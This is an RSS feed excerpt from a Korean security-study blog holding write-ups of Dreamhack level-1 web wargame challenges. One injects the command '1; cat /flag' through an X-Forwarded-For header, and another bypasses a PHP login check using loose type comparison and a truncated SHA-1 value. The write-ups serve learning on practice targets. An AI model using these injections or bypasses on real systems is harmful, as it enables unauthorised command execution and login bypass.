&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처55.JPG&quot; data-origin-width=&quot;1506&quot; data-origin-height=&quot;594&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mVp0M/btsOCyzNTgp/lYjKKojGatJpx8pmnlvc81/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mVp0M/btsOCyzNTgp/lYjKKojGatJpx8pmnlvc81/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mVp0M/btsOCyzNTgp/lYjKKojGatJpx8pmnlvc81/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmVp0M%2FbtsOCyzNTgp%2FlYjKKojGatJpx8pmnlvc81%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1506&quot; height=&quot;594&quot; data-filename=&quot;캡처55.JPG&quot; data-origin-width=&quot;1506&quot; data-origin-height=&quot;594&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 플래그값이 출력된 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플래그를 획득했다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>wargame/Dreamhack</category>
      <category>드림핵워게임</category>
      <category>드림핵웹해킹</category>
      <category>웹해킹</category>
      <category>웹해킹기초</category>
      <category>웹해킹워게임</category>
      <author>보안공부</author>
      <guid isPermaLink="true">https://s-security.tistory.com/119</guid>
      <comments>https://s-security.tistory.com/119#entry119comment</comments>
      <pubDate>Sun, 15 Jun 2025 10:11:15 +0900</pubDate>
    </item>
    <item>
      <title>Dreamhack - what-is-my-ip</title>
      <link>https://s-security.tistory.com/118</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[LEVEL 1 - what-is-my-ip - web]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 설명에 /flag에 플래그 값이 있다고 힌트가 주어졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_캡처43.JPG&quot; data-origin-width=&quot;1362&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lF2jC/btsNK0R9P6f/aoKojpktDfoihiTAaEWtk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lF2jC/btsNK0R9P6f/aoKojpktDfoihiTAaEWtk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lF2jC/btsNK0R9P6f/aoKojpktDfoihiTAaEWtk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlF2jC%2FbtsNK0R9P6f%2FaoKojpktDfoihiTAaEWtk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1362&quot; height=&quot;411&quot; data-filename=&quot;edited_캡처43.JPG&quot; data-origin-width=&quot;1362&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 환경에 접속하면 가장 먼저 위와 같이 나의 IP 주소를 보여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처44.JPG&quot; data-origin-width=&quot;1121&quot; data-origin-height=&quot;797&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PmFO1/btsNKgutuJ5/2KjsbYWryJHDCQXjOktO20/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PmFO1/btsNKgutuJ5/2KjsbYWryJHDCQXjOktO20/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PmFO1/btsNKgutuJ5/2KjsbYWryJHDCQXjOktO20/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPmFO1%2FbtsNKgutuJ5%2F2KjsbYWryJHDCQXjOktO20%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1121&quot; height=&quot;797&quot; data-filename=&quot;캡처44.JPG&quot; data-origin-width=&quot;1121&quot; data-origin-height=&quot;797&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 파일을 다운로드 받으면 위와 같은 app.py가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;request.access_route에서 1번째 요소를 변수 user_ip에 저장하고 없으면 request.remote_addr를 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 request.access_route는 뭘까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flask에서 request.access_route는 &quot;전달된 헤더가 있는 경우 이는 클라이언트 IP에서 마지막 프록시 서버까지의 모든 IP 주소 목록&quot;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 문서를 참고했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://flask.palletsprojects.com/en/stable/api/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://flask.palletsprojects.com/en/stable/api/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기까지는 알겠는데 이 다음이 막혀서 해당 워게임 댓글을 보았더니 X-Forwarded-For 라는 헤더를 파싱해야 한다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 X-Forwarded-For는 뭘까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 문서를 읽어보면, &quot;XFF 헤더는 HTTP 프록시나 로드 밸런서를 통해 웹 서버에 접속하는 클라이언트의 원 IP 주소를 식별하는 사실상의 표준 헤더&quot;라고 한다. 그리고 access_route에서 X-Forwarded-For 헤더를 파싱한다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/ko/docs/Web/HTTP/Reference/Headers/X-Forwarded-For&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://developer.mozilla.org/ko/docs/Web/HTTP/Reference/Headers/X-Forwarded-For&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1746368951747&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;X-Forwarded-For - HTTP | MDN&quot; data-og-description=&quot;X-Forwarded-For (XFF) 헤더는 HTTP 프록시나 로드 밸런서를 통해 웹 서버에 접속하는 클라이언트의 원 IP 주소를 식별하는 사실상의 표준 헤더다. 클라이언트와 서버 중간에서 트래픽이 프록시나 로드 &quot; data-og-host=&quot;developer.mozilla.org&quot; data-og-source-url=&quot;https://developer.mozilla.org/ko/docs/Web/HTTP/Reference/Headers/X-Forwarded-For&quot; data-og-url=&quot;https://developer.mozilla.org/ko/docs/Web/HTTP/Reference/Headers/X-Forwarded-For&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/czmylE/hyYPq5IaZ7/zmh43ukZ8yeAkgJlkYnmk1/img.png?width=1920&amp;amp;height=1080&amp;amp;face=0_0_1920_1080&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/ko/docs/Web/HTTP/Reference/Headers/X-Forwarded-For&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://developer.mozilla.org/ko/docs/Web/HTTP/Reference/Headers/X-Forwarded-For&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/czmylE/hyYPq5IaZ7/zmh43ukZ8yeAkgJlkYnmk1/img.png?width=1920&amp;amp;height=1080&amp;amp;face=0_0_1920_1080');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;X-Forwarded-For - HTTP | MDN&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;X-Forwarded-For (XFF) 헤더는 HTTP 프록시나 로드 밸런서를 통해 웹 서버에 접속하는 클라이언트의 원 IP 주소를 식별하는 사실상의 표준 헤더다. 클라이언트와 서버 중간에서 트래픽이 프록시나 로드&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;developer.mozilla.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처45.JPG&quot; data-origin-width=&quot;994&quot; data-origin-height=&quot;449&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lk50G/btsNKqQ9vfw/gFkW4uhrMlaq3NzHGkCk61/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lk50G/btsNKqQ9vfw/gFkW4uhrMlaq3NzHGkCk61/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lk50G/btsNKqQ9vfw/gFkW4uhrMlaq3NzHGkCk61/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flk50G%2FbtsNKqQ9vfw%2FgFkW4uhrMlaq3NzHGkCk61%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;994&quot; height=&quot;449&quot; data-filename=&quot;캡처45.JPG&quot; data-origin-width=&quot;994&quot; data-origin-height=&quot;449&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 살펴봤듯 request.access_route에서 클라이언트 IP 목록의 1번째 요소를 변수 user_ip에 저장하니까, 위와 같이 Burp Suite에서 X-Forwarded-For 헤더를 추가해 1; cat /flag를 넣으면 플래그값을 얻을 수 있을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처46.JPG&quot; data-origin-width=&quot;1896&quot; data-origin-height=&quot;449&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7rZtT/btsNLDIX3Hd/7KWRT2TET7cnkFywDQw5YK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7rZtT/btsNLDIX3Hd/7KWRT2TET7cnkFywDQw5YK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7rZtT/btsNLDIX3Hd/7KWRT2TET7cnkFywDQw5YK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7rZtT%2FbtsNLDIX3Hd%2F7KWRT2TET7cnkFywDQw5YK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1896&quot; height=&quot;449&quot; data-filename=&quot;캡처46.JPG&quot; data-origin-width=&quot;1896&quot; data-origin-height=&quot;449&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적으로 플래그값이 출력된 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플래그를 획득했다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>wargame/Dreamhack</category>
      <category>드림핵</category>
      <category>드림핵워게임</category>
      <category>워게임</category>
      <category>워게임문제</category>
      <category>웹해킹</category>
      <category>웹해킹기초</category>
      <category>웹해킹문제</category>
      <category>웹해킹워게임</category>
      <author>보안공부</author>
      <guid isPermaLink="true">https://s-security.tistory.com/118</guid>
      <comments>https://s-security.tistory.com/118#entry118comment</comments>
      <pubDate>Sun, 4 May 2025 23:43:29 +0900</pubDate>
    </item>
    <item>
      <title>Dreamhack - Type c-j</title>
      <link>https://s-security.tistory.com/117</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[LEVEL 1 - Type c-j - web]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처38.JPG&quot; data-origin-width=&quot;1402&quot; data-origin-height=&quot;273&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VUzCz/btsNJ1xA55v/YAYYzLzxPoSkJDPIpew5r0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VUzCz/btsNJ1xA55v/YAYYzLzxPoSkJDPIpew5r0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VUzCz/btsNJ1xA55v/YAYYzLzxPoSkJDPIpew5r0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVUzCz%2FbtsNJ1xA55v%2FYAYYzLzxPoSkJDPIpew5r0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1402&quot; height=&quot;273&quot; data-filename=&quot;캡처38.JPG&quot; data-origin-width=&quot;1402&quot; data-origin-height=&quot;273&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 환경에 접속하면 위와 같이 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처39.JPG&quot; data-origin-width=&quot;1117&quot; data-origin-height=&quot;1034&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BWMlj/btsNMdQxc4H/0J0MLFxCtdEjwKJKaAni1K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BWMlj/btsNMdQxc4H/0J0MLFxCtdEjwKJKaAni1K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BWMlj/btsNMdQxc4H/0J0MLFxCtdEjwKJKaAni1K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBWMlj%2FbtsNMdQxc4H%2F0J0MLFxCtdEjwKJKaAni1K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1117&quot; height=&quot;1034&quot; data-filename=&quot;캡처39.JPG&quot; data-origin-width=&quot;1117&quot; data-origin-height=&quot;1034&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 파일을 다운로드 받으면 위와 같이 check.php 코드가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 알 수 있는 사실은 pw는 8자리이며, 1이라는 문자열을 sha1으로 암호화한 값이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반면 id는 랜덤 문자열 10자리인데, 자세히 보면 (int)$input_id == $id 이 조건문에서 input_id를 가져와 int 형변환을 해주고 있는 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;php 비교 연산자 취약점에 의해 input_id가 문자열로 시작하면 0이 되고, 숫자가 먼저 오면 먼저 온 숫자까지의 값으로 변환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 id는 0으로 10자리를 모두 채워주면 되는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처40.JPG&quot; data-origin-width=&quot;2541&quot; data-origin-height=&quot;1218&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I8w47/btsNKs2sBnP/SCmLJZuAcu39fTyvO4TuPk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I8w47/btsNKs2sBnP/SCmLJZuAcu39fTyvO4TuPk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I8w47/btsNKs2sBnP/SCmLJZuAcu39fTyvO4TuPk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI8w47%2FbtsNKs2sBnP%2FSCmLJZuAcu39fTyvO4TuPk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2541&quot; height=&quot;1218&quot; data-filename=&quot;캡처40.JPG&quot; data-origin-width=&quot;2541&quot; data-origin-height=&quot;1218&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dreamhack cyberchef 페이지에서 1을 sha1으로 암호화한 결과값은 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pw는 8자리이므로, pw는 356a192b인 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처41.JPG&quot; data-origin-width=&quot;1617&quot; data-origin-height=&quot;424&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLoyxE/btsNLqC0yvc/YOdDX8Vx8NzcyYRXWk7Xmk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLoyxE/btsNLqC0yvc/YOdDX8Vx8NzcyYRXWk7Xmk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLoyxE/btsNLqC0yvc/YOdDX8Vx8NzcyYRXWk7Xmk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLoyxE%2FbtsNLqC0yvc%2FYOdDX8Vx8NzcyYRXWk7Xmk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1617&quot; height=&quot;424&quot; data-filename=&quot;캡처41.JPG&quot; data-origin-width=&quot;1617&quot; data-origin-height=&quot;424&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 구한 id와 pw을 각각 넣어주고 제출을 누른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처42.JPG&quot; data-origin-width=&quot;1817&quot; data-origin-height=&quot;379&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FhAln/btsNKttwatj/Vz4LkgJD9cfJvRHFiGIbJ1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FhAln/btsNKttwatj/Vz4LkgJD9cfJvRHFiGIbJ1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FhAln/btsNKttwatj/Vz4LkgJD9cfJvRHFiGIbJ1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFhAln%2FbtsNKttwatj%2FVz4LkgJD9cfJvRHFiGIbJ1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1817&quot; height=&quot;379&quot; data-filename=&quot;캡처42.JPG&quot; data-origin-width=&quot;1817&quot; data-origin-height=&quot;379&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID pass 라는 문구와 함께 플래그 값이 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플래그를 획득했다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>wargame/Dreamhack</category>
      <category>드림핵워게임</category>
      <category>드림핵웹해킹</category>
      <category>워게임</category>
      <category>워게임문제</category>
      <category>웹해킹기초</category>
      <category>웹해킹문제</category>
      <category>웹해킹워게임</category>
      <author>보안공부</author>
      <guid isPermaLink="true">https://s-security.tistory.com/117</guid>
      <comments>https://s-security.tistory.com/117#entry117comment</comments>
      <pubDate>Sun, 4 May 2025 23:03:43 +0900</pubDate>
    </item>
    <item>
      <title>Dreamhack - out of money</title>
      <link>https://s-security.tistory.com/116</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[LEVEL 1 - out of money - web, misc]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무에서 유를 창조하라는 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;음수의 값이 허용된다면 그 행동의 반대를 하게 된다고 적혀있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처28.JPG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;967&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Jxwpz/btsNC98BTxf/jlJujagnkq8ViTdhfhgVm0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Jxwpz/btsNC98BTxf/jlJujagnkq8ViTdhfhgVm0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Jxwpz/btsNC98BTxf/jlJujagnkq8ViTdhfhgVm0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJxwpz%2FbtsNC98BTxf%2FjlJujagnkq8ViTdhfhgVm0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1282&quot; height=&quot;967&quot; 